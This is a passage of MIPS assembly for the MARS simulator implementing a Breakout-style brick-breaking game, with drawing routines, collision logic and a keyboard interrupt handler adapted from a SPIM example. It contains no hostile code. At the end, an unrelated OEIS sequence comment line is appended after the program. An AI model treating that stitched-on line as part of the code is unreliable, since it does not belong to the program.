la $sp, stack_end
sw $0, level
start: # initialize stuffs
li $t0, 64
sw $t0, bricksLeft
sw $0, b_velocity_x
sw $0, b_velocity_y
la $a0, filename
li $v0, 60
syscall
jal ClearDisplay
jal drawMap
li $t0, 256
sw $t0, p_xLoc
jal drawPaddle
updateLoop: # loop until win or lose
jal checkInput
jal moveBall
# lose in $v0, 0 if none, 1 is lose (aka fell off screen)
beq $v0, 1, lose
jal checkCollisions
lw $t0, bricksLeft
blez $t0, win
j updateLoop
lose:
la $a0,lose_text
jal DisplayStr
la $a0, endgamePanda
li $v0, 60
syscall
j putEndPhoto
win:
la $a0,win_text
jal DisplayStr
la $a0, endgameWin
li $v0, 60
syscall
# increment level
lw $t0, level
addi $t0, $t0, 1
lw $t1, max_level
ble $t0, $t1, putEndPhoto
# hit max level, stay on level
move $t0, $t1
j putEndPhoto
putEndPhoto:
li $a0, 0
li $a1, 0
li $v0, 61
syscall
li $a0, 0
li $a1, 256
li $a2, 0
jal DrawDot
sw $0, restart_pressed
idle:
lw $t0, restart_pressed
bge $t0, 1, start
li $a0, 100
jal Pause
j idle
################################################################################################
# Procedure: DisplayStr #
# Displays a message to the user #
# Input: $a0 points to the text string that will get displayed to the user #
################################################################################################
DisplayStr:
li $v0, 4 # specify Print string service
syscall # print the prompt char
jr $ra
################################################################################################
# Procedure: Pause #
# Pauses for a set amount of time #
# Input: $a0 time to pause #
################################################################################################
Pause:
move $t6,$a0
li $v0, 30
syscall
move $t5,$a0
_display_time_loop:
syscall
subu $t4,$a0,$t5
bltu $t4,$t6,_display_time_loop
jr $ra
################################################################################################
# Procedure: moveBall #
# Returns 1 in $v0 if ball fell off screen #
################################################################################################
moveBall:
lw $t0, b_onPaddle
bnez $t0, moveBall_done
addi $sp, $sp, -4
sw $ra, 0($sp)
lw $a0, b_loc_x
lw $t0, b_velocity_x
add $a0, $a0, $t0
blt $a0, 496, moveBall_notHitRightWall
li $a0, 496
moveBall_notHitRightWall:
bgtz $a0, moveBall_notHitLeftWall
li $a0, 0
moveBall_notHitLeftWall:
sw $a0, b_loc_x
lw $a1, b_loc_y
lw $t1, b_velocity_y
add $a1, $a1, $t1
bgtz $a1, moveBall_notHitTopWall
li $a1, 0
moveBall_notHitTopWall:
sw $a1, b_loc_y
li $v0, 61
syscall
ble $a1, 240, moveBall_notOffBttm
li $v0, 1
moveBall_notOffBttm:
addi $sp, $sp, -4
sw $v0, 0($sp)
li $a0, 0
li $a1, 256
li $a2, 0
jal DrawDot
li $a0, 20
jal Pause
lw $v0, 0($sp)
addi $sp, $sp, 4
lw $ra, 0($sp)
addi $sp, $sp, 4
moveBall_done:
jr $ra
################################################################################################
# Procedure: checkCollisions #
# Checks if the ball has collided with anything and changes velocity accordingly #
################################################################################################
checkCollisions:
addi $sp, $sp, -4
sw $ra, 0($sp)
lw $t0, b_onPaddle
bnez $t0, checkCollisions_noCollision
lw $t0, b_loc_x
bgt $t0, 4, checkCollisions_notLeftWall
# hit wall
lw $t7, b_velocity_x
sub $t6, $0, $t7 # flip x velocity
sw $t6, b_velocity_x
checkCollisions_notLeftWall:
blt $t0, 492, checkCollisions_notRightWall
# hit wall
lw $t7, b_velocity_x
sub $t6, $0, $t7 # flip x velocity
sw $t6, b_velocity_x
checkCollisions_notRightWall:
lw $t1, b_loc_y
bgtz $t1, checkCollisions_notTopWall
# hit top wall
lw $t7, b_velocity_y
sub $t6, $0, $t7 # flip y velocity
sw $t6, b_velocity_y
checkCollisions_notTopWall:
checkCollisions_checkPaddle:
ble $t1, 225, checkCollisions_notPaddle
lw $t2, p_xLoc
addi $t2, $t2, -32 # -16 for half of paddle plus 16 for size of ball?
ble $t0, $t2, checkCollisions_notPaddle
addi $t2, $t2, 48
bgt $t0, $t2, checkCollisions_notPaddle
# hit paddle
lw $t7, b_velocity_y
sub $t6, $0, $t7 # flip y velocity
sw $t6, b_velocity_y
# check which side
addi $t2, $t2, -32
bgt $t0, $t2, checkCollisions_notLeft
# hit left
lw $t7, b_velocity_x
addi $t7, $t7, -2 # adjust x velocity
sw $t7, b_velocity_x
checkCollisions_notLeft:
addi $t2, $t2, 16
ble $t0, $t2, checkCollisions_notRight # shuffle past hit right side code
# hit right side of paddle
lw $t7, b_velocity_x
addi $t7, $t7, 2 # adjust x velocity
sw $t7, b_velocity_x
checkCollisions_notRight:
j checkCollisions_noCollision
checkCollisions_notPaddle:
# check for collision with brick
move $a0, $t0 # x pos
lw $a1, b_loc_y
# mid left side of ball
move $a0, $a0
addi $a1, $a1, 8
addi $sp, $sp, -8
sw $a0, 0($sp)
sw $a1, 4($sp)
jal CalcAddr
lw $a0, 0($sp)
lw $a1, 4($sp)
addi $sp, $sp, 8
li $t2, 1
lw $t7, ($v0)
beq $t7, 0x000000, checkCollisions_1NotBlock
beq $t7, 0xFFFFFF, checkCollisions_1NotBlock
# if either, not black or white, must be block
jal brickCollisions
j checkCollisions_noCollision
checkCollisions_1NotBlock:
# top mid side of ball
addi $a0, $a0, 8
addi $a1, $a1, -8
addi $sp, $sp, -8
sw $a0, 0($sp)
sw $a1, 4($sp)
jal CalcAddr
lw $a0, 0($sp)
lw $a1, 4($sp)
addi $sp, $sp, 8
li $t2, 2
lw $t7, ($v0)
beq $t7, 0x000000, checkCollisions_2NotBlock
beq $t7, 0xFFFFFF, checkCollisions_2NotBlock
# if either, not black or white, must be block
jal brickCollisions
j checkCollisions_noCollision
checkCollisions_2NotBlock:
# mid right side of ball
addi $a0, $a0, 8
addi $a1, $a1, 8
addi $sp, $sp, -8
sw $a0, 0($sp)
sw $a1, 4($sp)
jal CalcAddr
lw $a0, 0($sp)
lw $a1, 4($sp)
addi $sp, $sp, 8
li $t2, 3
lw $t7, ($v0)
beq $t7, 0x000000, checkCollisions_3NotBlock
beq $t7, 0xFFFFFF, checkCollisions_3NotBlock
# if either, not black or white, must be block
jal brickCollisions
j checkCollisions_noCollision
checkCollisions_3NotBlock:
# bottom mid side of ball
addi $a0, $a0, -8
addi $a1, $a1, 8
addi $sp, $sp, -8
sw $a0, 0($sp)
sw $a1, 4($sp)
jal CalcAddr
lw $a0, 0($sp)
lw $a1, 4($sp)
addi $sp, $sp, 8
li $t2, 4
lw $t7, ($v0)
beq $t7, 0x000000, checkCollisions_4NotBlock
beq $t7, 0xFFFFFF, checkCollisions_4NotBlock
# if either, not black or white, must be block
jal brickCollisions
j checkCollisions_noCollision
checkCollisions_4NotBlock:
# if it fell through all of these, there's no collision
checkCollisions_noCollision:
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
################################################################################################
# Procedure: brickCollisions #
# Deals with a brick collisions #
# Input: $a0 has x pos of collision #
# Input: $a1 has y pos of collision #
################################################################################################
brickCollisions:
addi $sp, $sp, -4
sw $ra, 0($sp)
addi $sp, $sp, -8
sw $a0, 0($sp)
sw $a1, 4($sp)
bne $t2, 1, brickCollisions_notLeftSideBrick
lw $t7, b_velocity_x
sub $t6, $0, $t7 # flip x velocity
addi $t6, $t6, -1
sw $t6, b_velocity_x
li $t1, 1
brickCollisions_notLeftSideBrick:
bne $t2, 3, brickCollisions_notRightSideBrick
lw $t7, b_velocity_x
sub $t6, $0, $t7 # flip x velocity
addi $t6, $t6, 1
sw $t6, b_velocity_x
li $t1, 1
brickCollisions_notRightSideBrick:
bne $t1, 1, brickCollisions_notSideBrick
lw $t7, b_velocity_y
sub $t6, $0, $t7 # flip y velocity
sw $t6, b_velocity_y
jal brickCollisions_inMiddle
brickCollisions_notSideBrick:
# check if on the edge of the brick, send to notEdgeBrick
#a0 $& $a1 is collision pos
rem $t0, $a0, 32
ble $t0, 4, brickCollisions_leftEdgeBrick
j brickCollisions_notLeftEdgeBrick
brickCollisions_leftEdgeBrick:
# left edge hit
addi $a0, $a0, -16
li $t1, 1
brickCollisions_notLeftEdgeBrick:
bge $t0, 28, brickCollisions_rightEdgeBrick
j brickCollisions_edgeBrick
brickCollisions_rightEdgeBrick:
# right edge hit
addi $a0, $a0, 16
li $t1, 1
brickCollisions_edgeBrick:
bne $t1, 1, brickCollisions_notEdgeBrick
# $a1 is still y of collision spot
addi $sp, $sp, -8
sw $a0, 0($sp)
sw $a1, 4($sp)
jal CalcAddr
lw $a0, 0($sp)
lw $a1, 4($sp)
addi $sp, $sp, 8
#$vo is addr where neighbor brick might be
lw $t7, ($v0)
beq $t7, 0x000000, brickCollisions_notEdgeBrick
# a0 & a1 still have location of other brick in them
addi $sp, $sp, -4
sw $t0, 0($sp)
jal breakBrick
lw $t0, 0($sp)
addi $sp, $sp, 4
j brickCollisions_inMiddle # skip over modifying x
brickCollisions_notEdgeBrick:
ble $t0, 12, brickCollisions_leftOffsetBrick
j brickCollisions_testRightOffsetBrick
brickCollisions_leftOffsetBrick:
lw $t7, b_velocity_x
addi $t7, $t7, -2 # adjust x velocity
sw $t7, b_velocity_x
brickCollisions_testRightOffsetBrick:
bge $t0, 20, brickCollisions_rightOffsetBrick
j brickCollisions_inMiddle
brickCollisions_rightOffsetBrick:
lw $t7, b_velocity_x
addi $t7, $t7, 2 # adjust x velocity
sw $t7, b_velocity_x
brickCollisions_inMiddle:
# restore original collision
lw $a0, 0($sp)
lw $a1, 4($sp)
addi $sp, $sp, 8
jal breakBrick
lw $t7, b_velocity_y
sub $t6, $0, $t7 # flip y velocity
sw $t6, b_velocity_y
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
################################################################################################
# Procedure: breakBrick #
# Break a brick at x,y location and reduces number of bricks left to break #
# Input: $a0 is x location #
# Input: $a1 is y location #
################################################################################################
breakBrick:
addi $sp, $sp, -4
sw $ra, 0($sp)
# reduces number of bricks
lw $t0, bricksLeft
addi $t0, $t0, -1
sw $t0, bricksLeft
rem $t0, $a0, 32 # get how far on the x axis the collision is from the block's origin
bne $a0, 32, breakBrick_notRemRight
# incase hit was on the farthest right corner of brick
li $t0, 32
breakBrick_notRemRight:
rem $t1, $a1, 16 # get how far on the y axis the collision is from the block's origin
bne $a1, 16, breakBrick_notRemBttm
# incase hit was on the bottom of the brick
li $t1, 16
breakBrick_notRemBttm:
sub $a0, $a0, $t0 # subtracts distance on x axis in order to get back to origin
sub $a1, $a1, $t1 # subtracts distance on y axis in order to get back to origin
li $a2, 0 # $a2 is color number
li $a3, 16 # $a3 height of the box'
# top of stack is width of box
addi $sp, $sp, -4
li $t7, 32
sw $t7, 0($sp)
jal DrawBox
addi $sp, $sp, 4
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
################################################################################################
# Procedure: checkInput #
# Checks input variables and calls functions accordingly #
################################################################################################
checkInput:
addi $sp,$sp,-4
sw $ra, ($sp)
lw $t0, p_MoveLeft
sub $a0, $0, $t0
jal movePaddle
lw $a0, p_MoveRight
jal movePaddle
sw $0, p_MoveLeft
sw $0, p_MoveRight
lw $t0, p_Release
lw $t1, b_onPaddle
# if both p_Release == b_onPaddle == 1, release ball
bne $t0, 1, input_notReleased
bne $t0, $t1, input_notReleased
sw $0, b_onPaddle
li $t0, -2
sw $t0, b_velocity_y
input_notReleased:
sw $zero, p_Release
lw $ra, ($sp)
addi $sp,$sp,4
jr $ra
################################################################################################
# Procedure: movePaddle #
# Moves paddle left (-) or right (+) #
# Input: $a0 is amount to move #
################################################################################################
movePaddle:
addi $sp,$sp,-4
sw $ra, ($sp)
beqz $a0, movePaddle_doneLooping
lw $t0, p_xLoc
add $t1, $t0, $a0
sw $t1, p_xLoc
lw $t7, b_onPaddle
beqz $t7, movePaddle_dontMoveBall
# move ball with paddle
addi $sp, $sp, -4
sw $a0, 0($sp)
addi $a0, $t1, -8
li $a1, 224
li $v0, 61
syscall
sw $a0, b_loc_x
lw $a0, 0($sp)
addi $sp, $sp, 4
movePaddle_dontMoveBall:
bltz $a0, movePaddle_notRight
addi $t1, $t0, -17 # x loc to call black lines on
addi $t0, $t0, 15 # x loc to add to paddle at
li $t2, 1
movePaddle_notRight:
bgt $a0, $0, movePaddle_notLeft
addi $t1, $t0, 17 # x loc to call black lines on
addi $t0, $t0, -15 # x loc to add to paddle at
mul $a0, $a0, -1 # used as counter for loop
li $t2, -1
movePaddle_notLeft:
movePaddle_moveLoop:
add $t0, $t0, $t2
# stops if at walls
bge $t0, 496, movePaddle_doneLooping
ble $t0, 16, movePaddle_doneLooping
add $t1, $t1, $t2
addi $sp,$sp,-16
sw $t0, 0($sp)
sw $t1, 4($sp)
sw $t2, 8($sp)
sw $a0, 12($sp)
move $a0, $t0
li $a1, 240 # y coordinate
li $a2, 9 # color
li $a3, 8 # height
jal VertLine
lw $t1, 4($sp)
move $a0, $t1
li $a1, 240 # y coordinate
li $a2, 0 # color
li $a3, 8 # height
jal VertLine
lw $t0, 0($sp)
lw $t1, 4($sp)
lw $t2, 8($sp)
lw $a0, 12($sp)
addi $sp,$sp,16
addi $a0, $a0, -1
bgtz $a0, movePaddle_moveLoop
movePaddle_doneLooping:
lw $ra, ($sp)
addi $sp,$sp,4
jr $ra
################################################################################################
# Procedure: drawPaddle #
# Draws paddle and ball in middle as default #
################################################################################################
drawPaddle:
addi $sp, $sp, -4
sw $ra, 0($sp)
li $a0, 240 # x coordinate
li $a1, 240 # y coordinate
li $a2, 9 # color number (white)
li $a3, 8 # height
addi $sp, $sp, -4
li $t0, 32
sw $t0, 0($sp) # width
jal DrawBox
addi $sp, $sp, 4
li $a0, 248
li $a1, 224
sw $a0, b_loc_x
sw $a1, b_loc_y
li $v0, 61
syscall
li $a0, 0
li $a1, 256
li $a2, 0
jal DrawDot
li $t0, 1
sw $t0, b_onPaddle
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
################################################################################################
# Procedure: VertLine #
# Draws a a vertical line #
# Input: $a0 x coordinate #
# Input: $a1 y coordinate #
# Input: $a2 color number (0-7) #
# Input: $a3 length of the line #
################################################################################################
VertLine:
addi $sp,$sp,-4
sw $ra, 0($sp) # store $ra
VertLoop:
addi $sp,$sp,-16
sw $a0, 12($sp)
sw $a1, 8($sp) # store $a1
sw $a2, 4($sp) # store $a2
sw $a3, 0($sp) # store $a3
jal DrawDot
lw $a0, 12($sp)
lw $a1, 8($sp)
lw $a2, 4($sp)
lw $a3, 0($sp)
addi $sp,$sp,16
addi $a1, $a1, 1
addi $a3, $a3, -1
bne $a3, $0, VertLoop
# restore $ra
lw $ra, 0($sp)
addi $sp,$sp,4
jr $ra
################################################################################################
# Procedure: drawMap #
# Draws the pattern for the blocks to break #
################################################################################################
# $t0 = counter for loop
# $t1 = address of map
# $t2 = current number in mapping
# $t3 = rowSpot = num % 16
# $t4 = colSpot = num / 16
# x = (rowSpot-1) * 32
# y = colSpot*16
.data
map: .word 1,3,5,7,9,11,13,15,
18,20,22,24,26,28,30,32,
33,35,37,39,41,43,45,47,
50,52,54,56,58,60,62,64,
65,67,69,71,73,75,77,79,
82,84,86,88,90,92,94,96,
97,99,101,103,105,107,109,111,
114,116,118,120,122,124,126,128
.word 2,4,6,8,10,12,14,16
17,19,21,23,25,27,29,31,
32,34,36,38,40,42,44,46,
49,51,53,55,57,59,61,63,
64,66,68,70,72,74,76,78,
81,83,85,87,89,91,93,95,
96,98,100,102,104,106,108,110,
113,115,117,119,121,123,125,127
.text
drawMap:
addi $sp,$sp,-4
sw $ra, 0($sp) # store $ra
la $t1, map
lw $t0, level
sll $t0, $t0, 8
add $t1, $t1, $t0
li $t0, 64
_drawMap_loop:
lw $t2, ($t1)
rem $t3, $t2, 16 # rowSpot is t3
div $t4, $t2, 16 # colSpot is t4
bne $t3, $0, drawMap_notLastColumn
li $t3, 16
addi $t4, $t4, -1
drawMap_notLastColumn:
#a0 is x for drawBox
addi $a0, $t3, -1
sll $a0, $a0, 5
#a1 is y for drawBox
sll $a1, $t4, 4
addi $a2, $t4, 1 # $a2 for color (based on rowSpot)
li $a3, 16 # $a3 height of the box'
# top fo stack is width of box
addi $sp, $sp, -12
li $t7, 32
sw $t7, 0($sp)
sw $t0, 4($sp)
sw $t1, 8($sp)
jal DrawBox
# restore t0 & t1
lw $t0, 4($sp)
lw $t1, 8($sp)
addi $sp, $sp, 12 # fix stack
addi $t0, $t0, -1
addi $t1, $t1, 4
bgtz $t0, _drawMap_loop
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
################################################################################################
# Procedure: ClearDisplay #
# Sets the display to black #
################################################################################################
ClearDisplay:
addi $sp, $sp, -4
sw $ra, 0($sp) # store $ra
li $a0, 0
li $a1, 0
li $a2, 0
li $a3,256 # height
addi $sp, $sp, -4
li $t0, 512
sw $t0, 0($sp) # width
jal DrawBox
addi $sp, $sp, 4
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
################################################################################################
# Procedure: DrawBox #
# Draws a dot of color ($a2) at x ($a0) and y ($a1) #
# Input: $a0 x coordinate #
# Input: $a1 y coordinate #
# Input: $a2 color number (0-7) #
# Input: $a3 height of the box #
# Input: top of $sp contains width of box #
################################################################################################
DrawBox:
lw $t0, 0($sp)
addi $sp,$sp,-8
sw $ra, 0($sp) # store $ra
sw $s0, 4($sp)
move $s0, $a3
move $a3, $t0 # put width in $a3 for HorzLine
BoxLoop:
addi $sp,$sp,-16
sw $a0, 12($sp)
sw $a1, 8($sp) # store $a1
sw $a2, 4($sp) # store $a2
sw $a3, 0($sp) # store $a3
jal HorzLine
lw $a0, 12($sp)
lw $a1, 8($sp)
lw $a2, 4($sp)
lw $a3, 0($sp)
addi $sp,$sp,16
addi $a1, $a1, 1 # increment y coord
addi $s0, $s0, -1 # dec counter
bne $s0, $0, BoxLoop
# restore $ra and $s0, then jr $ra
lw $ra, 0($sp)
lw $s0, 4($sp)
addi $sp,$sp,8
jr $ra
################################################################################################
# Procedure: HorzLine #
# Draws a horz line #
# Input: $a0 x coordinate #
# Input: $a1 y coordinate #
# Input: $a2 color number (0-7) #
# Input: $a3 length of the line #
################################################################################################
HorzLine:
addi $sp,$sp,-4
sw $ra, 0($sp) # store $ra
HorzLoop:
addi $sp,$sp,-16
sw $a0, 0($sp)
sw $a1, 4($sp) # store $a1
sw $a2, 8($sp) # store $a2
sw $a3, 12($sp) # store $a3
jal DrawDot
lw $a0, 0($sp)
lw $a1, 4($sp)
lw $a2, 8($sp)
lw $a3, 12($sp)
addi $sp,$sp,16
addi $a0, $a0, 1
addi $a3, $a3, -1
bne $a3, $0, HorzLoop
# restore $ra
lw $ra, 0($sp)
addi $sp,$sp,4
jr $ra
################################################################################################
# Procedure: CalcAddr #
# Converts X, Y coordinate to address #
# Input: $a0 x coordinate #
# Input: $a1 y coordinate #
# Returns $v0 = memory address #
################################################################################################
CalcAddr:
# $v0 = base+$a0*4+$a1*512*4
sll $a0,$a0,2
sll $a1,$a1,11
addi $v0, $a0, 0x10040000
add $v0, $v0, $a1
jr $ra
################################################################################################
# Procedure: GetColor #
# Converts X, Y coordinate to address #
# Input: $a2 color number (0-9) #
# Returns $v1 = actual number to write to the display #
################################################################################################
.data
ColorTable:
.align 2 # forces the data segment to a word boundary
.word 0x000000 # black
.word 0xff0000 # red
.word 0xff8800 # orange
.word 0xffff00 # yellow
.word 0x66ff00 # lime green
.word 0x00ff66 # green blue
.word 0x0066ff # blue
.word 0x8800ff # purple
.word 0xff0099 # pink
.word 0xffffff # white
.text
GetColor:
la $t0, ColorTable # load base
sll $a2,$a2,2 # index x4 is offset
add $a2, $t0, $a2 # addr is base+ offset
lw $v1, 0($a2) # get actual color from mem
jr $ra
################################################################################################
# Procedure: DrawDot #
# Draws a dot of color ($a2) at x ($a0) and y ($a1) #
# Input: $a0 x coordinate #
# Input: $a1 y coordinate #
# Input: $a2 color number (0-9) #
################################################################################################
DrawDot:
addi $sp,$sp,-8 # adjust stack ptr, 2 words
sw $ra, 4($sp) # store $ra
sw $a2, 0($sp) # store $a2
jal CalcAddr # v0 has address for pixel
lw $a2, 0($sp) # restore $a2
sw $v0, 0($sp) # store $v0 in spot freed by $a2
jal GetColor #v1 has color
lw $v0, 0($sp) # restore $v0
sw $v1, 0($v0) # make dot
lw $ra, 4($sp) # load original $ra
addi $sp, $sp, 8 # adjust $sp
jr $ra
#########################################################################
# Exception handling
#########################################################################
.data
# Status register bits
.align 2
EXC_ENABLE_MASK: .word 0x00000001
# Cause register bits
EXC_CODE_MASK: .word 0x0000003c # Exception code bits
EXC_CODE_INTERRUPT: .word 0 # External interrupt
EXC_CODE_ADDR_LOAD: .word 4 # Address error on load
EXC_CODE_ADDR_STORE: .word 5 # Address error on store
EXC_CODE_IBUS: .word 6 # Bus error instruction fetch
EXC_CODE_DBUS: .word 7 # Bus error on load or store
EXC_CODE_SYSCALL: .word 8 # System call
EXC_CODE_BREAKPOINT: .word 9 # Break point
EXC_CODE_RESERVED: .word 10 # Reserved instruction code
EXC_CODE_OVERFLOW: .word 12 # Arithmetic overflow
# Status and cause register bits
EXC_INT_ALL_MASK: .word 0x0000ff00 # Interrupt level enable bits
EXC_INT0_MASK: .word 0x00000100 # Software
EXC_INT1_MASK: .word 0x00000200 # Software
EXC_INT2_MASK: .word 0x00000400 # Display
EXC_INT3_MASK: .word 0x00000800 # Keyboard
EXC_INT4_MASK: .word 0x00001000
EXC_INT5_MASK: .word 0x00002000 # Timer
EXC_INT6_MASK: .word 0x00004000
EXC_INT7_MASK: .word 0x00008000
########################################################################
# Description:
# Example SPIM exception handler
# Derived from the default exception handler in the SPIM S20
# distribution.
#
# History:
# Dec 2009 J Bacon
########################################################################
# Exception handling code. This must go first!
.kdata
__start_msg_: .asciiz " Exception "
__end_msg_: .asciiz " occurred and ignored\n"
# Messages for each of the 5-bit exception codes
__exc0_msg: .asciiz " [Interrupt] "
__exc1_msg: .asciiz " [TLB]"
__exc2_msg: .asciiz " [TLB]"
__exc3_msg: .asciiz " [TLB]"
__exc4_msg: .asciiz " [Address error in inst/data fetch] "
__exc5_msg: .asciiz " [Address error in store] "
__exc6_msg: .asciiz " [Bad instruction address] "
__exc7_msg: .asciiz " [Bad data address] "
__exc8_msg: .asciiz " [Error in syscall] "
__exc9_msg: .asciiz " [Breakpoint] "
__exc10_msg: .asciiz " [Reserved instruction] "
__exc11_msg: .asciiz ""
__exc12_msg: .asciiz " [Arithmetic overflow] "
__exc13_msg: .asciiz " [Trap] "
__exc14_msg: .asciiz ""
__exc15_msg: .asciiz " [Floating point] "
__exc16_msg: .asciiz ""
__exc17_msg: .asciiz ""
__exc18_msg: .asciiz " [Coproc 2]"
__exc19_msg: .asciiz ""
__exc20_msg: .asciiz ""
__exc21_msg: .asciiz ""
__exc22_msg: .asciiz " [MDMX]"
__exc23_msg: .asciiz " [Watch]"
__exc24_msg: .asciiz " [Machine check]"
__exc25_msg: .asciiz ""
__exc26_msg: .asciiz ""
__exc27_msg: .asciiz ""
__exc28_msg: .asciiz ""
__exc29_msg: .asciiz ""
__exc30_msg: .asciiz " [Cache]"
__exc31_msg: .asciiz ""
__level_msg: .asciiz "Interrupt mask: "
#########################################################################
# Lookup table of exception messages
__exc_msg_table:
.align 2
.word __exc0_msg, __exc1_msg, __exc2_msg, __exc3_msg, __exc4_msg
.word __exc5_msg, __exc6_msg, __exc7_msg, __exc8_msg, __exc9_msg
.word __exc10_msg, __exc11_msg, __exc12_msg, __exc13_msg, __exc14_msg
.word __exc15_msg, __exc16_msg, __exc17_msg, __exc18_msg, __exc19_msg
.word __exc20_msg, __exc21_msg, __exc22_msg, __exc23_msg, __exc24_msg
.word __exc25_msg, __exc26_msg, __exc27_msg, __exc28_msg, __exc29_msg
.word __exc30_msg, __exc31_msg
# Variables for save/restore of registers used in the handler
save_v0: .word 0
save_a0: .word 0
save_a1: .word 0
save_a2: .word 0
save_at: .word 0
save_ra: .word 0
save_t0: .word 0
save_t1: .word 0
save_t2: .word 0
#########################################################################
# This is the exception handler code that the processor runs when
# an exception occurs. It only prints some information about the
# exception, but can serve as a model of how to write a handler.
#
# Because this code is part of the kernel, it can use $k0 and $k1 without
# saving and restoring their values. By convention, they are treated
# as temporary registers for kernel use.
#
# On the MIPS-1 (R2000), the exception handler must be at 0x80000080
# This address is loaded into the program counter whenever an exception
# occurs. For the MIPS32, the address is 0x80000180.
# Select the appropriate one for the mode in which SPIM is compiled.
.ktext 0x80000180
# $at is the temporary register reserved for the assembler.
# It may be modified by pseudo-instructions in this handler.
# Since an interrupt could have occurred during a pseudo
# instruction in user code, $at must be restored to ensure
# that that pseudo instruction completes correctly.
.set noat
sw $at, save_at
.set at
# Save ALL registers modified in this handler, except $k0 and $k1
# This includes $t* since the user code does not explicitly
# call this handler. $sp cannot be trusted, so saving them to
# the stack is not an option. This routine is not reentrant (can't
# be called again while it is running), so we can save registers
# to static variables.
sw $v0, save_v0
sw $a0, save_a0
sw $a1, save_a1
sw $a2, save_a2
sw $t0, save_t0
sw $t1, save_t1
sw $t2, save_t2
sw $ra, save_ra
# Enable interrupts in status register
# mfc0 $t0, $12
# Disable all interrupt levels
# lw $t1, EXC_INT_ALL_MASK
# not $t1, $t1
# and $t0, $t0, $t1
# mtc0 $t0, $12
# Enable keyboard interrupts
# li $t0, 0xffff0000 # Receiver control register
# li $t1, 0x00000002 # Interrupt enable bit
# sw $t1, ($t0)
# Determine cause of the exception
mfc0 $k0, $13 # Get cause register from coprocessor 0
srl $a0, $k0, 2 # Extract exception code field (bits 2-6)
andi $a0, $a0, 0x1f
# Check for program counter issues (exception 6)
bne $a0, 6, ok_pc
nop
mfc0 $a0, $14 # EPC holds PC at moment exception occurred
andi $a0, $a0, 0x3 # Is EPC word-aligned (multiple of 4)?
beqz $a0, ok_pc
nop
# Bail out if PC is unaligned
# Normally you don't want to do syscalls in an exception handler,
# but this is MARS and not a real computer
li $v0, 4
la $a0, __exc3_msg
syscall
li $v0, 10
syscall
ok_pc:
mfc0 $k0, $13
srl $a0, $k0, 2 # Extract exception code from $k0 again
andi $a0, $a0, 0x1f
bnez $a0, non_interrupt # Code 0 means exception was an interrupt
nop
# External interrupt handler
# Don't skip instruction at EPC since it has not executed.
# Interrupts occur BEFORE the instruction at PC executes.
# Other exceptions occur during the execution of the instruction,
# hence for those increment the return address to avoid
# re-executing the instruction that caused the exception.
# check if we are in here because of a character on the keyboard simulator
jal IsCharThere
# go to nochar if some other interrupt happened
bne $v0, 1, nochar
jal GetCharEx # get the character from memory
bne $v0, 97, inter_not_moveLeft
li $t0, 32
sw $t0, p_MoveLeft
inter_not_moveLeft:
bne $v0, 100, inter_not_moveRight
li $t0, 32
sw $t0, p_MoveRight
inter_not_moveRight:
bne $v0, 119, interrupts_not_release
li $t0, 1
sw $t0, p_Release
interrupts_not_release:
bne $v0, 114, interrupts_not_restart
li $t0, 1
sw $t0, restart_pressed
interrupts_not_restart:
j return
nochar:
# not a character
# Print interrupt level
# Normally you don't want to do syscalls in an exception handler,
# but this is MARS and not a real computer
li $v0, 4 # print_str
la $a0, __level_msg
syscall
li $v0, 1 # print_int
mfc0 $k0, $13 # Cause register
srl $a0, $k0, 11 # Right-justify interrupt level bits
syscall
li $v0, 11 # print_char
li $a0, 10 # Line feed
syscall
j return
non_interrupt:
# Print information about exception.
# Normally you don't want to do syscalls in an exception handler,
# but this is MARS and not a real computer
li $v0, 4 # print_str
la $a0, __start_msg_
syscall
li $v0, 1 # print_int
mfc0 $k0, $13 # Extract exception code again
srl $a0, $k0, 2
andi $a0, $a0, 0x1f
syscall
# Print message corresponding to exception code
# Exception code is already shifted 2 bits from the far right
# of the cause register, so it conveniently extracts out as
# a multiple of 4, which is perfect for an array of 4-byte
# string addresses.
# Normally you don't want to do syscalls in an exception handler,
# but this is MARS and not a real computer
li $v0, 4 # print_str
mfc0 $k0, $13 # Extract exception code without shifting
andi $a0, $k0, 0x7c
lw $a0, __exc_msg_table($a0)
nop
syscall
li $v0, 4 # print_str
la $a0, __end_msg_
syscall
# Return from (non-interrupt) exception. Skip offending instruction
# at EPC to avoid infinite loop.
mfc0 $k0, $14
addiu $k0, $k0, 4
mtc0 $k0, $14
return:
# Restore registers and reset processor state
lw $v0, save_v0 # Restore other registers
lw $a0, save_a0
lw $a1, save_a1
lw $a2, save_a2
lw $t0, save_t0
lw $t1, save_t1
lw $t2, save_t2
lw $ra, save_ra
.set noat # Prevent assembler from modifying $at
lw $at, save_at
.set at
mtc0 $zero, $13 # Clear Cause register
# Re-enable interrupts, which were automatically disabled
# when the exception occurred, using read-modify-write cycle.
mfc0 $k0, $12 # Read status register
andi $k0, 0xfffd # Clear exception level bit
ori $k0, 0x0001 # Set interrupt enable bit
mtc0 $k0, $12 # Write back
# Return from exception on MIPS32:
eret
# Functions
################################################################################################
# Procedure: IsCharThere #
################################################################################################
IsCharThere:
lui $t0,0xffff
lw $t1,0($t0)
and $v0,$t1,1
jr $ra
################################################################################################
# Procedure: GetChar #
# return char in v0 #
################################################################################################
GetCharEx:
li $t2, 0
lui $t0, 0xffff # char in 0xffff0004
lw $v0, 4($t0)
jr $ra
#########################################################################
# Standard startup code. Invoke the routine "main" with arguments:
# main(argc, argv, envp)
.text
.globl __start
__start:
lw $a0, 0($sp) # argc = *$sp
addiu $a1, $sp, 4 # argv = $sp + 4
addiu $a2, $sp, 8 # envp = $sp + 8
sll $v0, $a0, 2 # envp += size of argv array
addu $a2, $a2, $v0
jal main
nop
li $v0, 10 # exit
syscall
.globl __eoth
__eoth:
end:
|
; A184750: a(n) = largest k such that A000326(n+1) = A000326(n) + (A000326(n) mod k), or 0 if no such k exists.
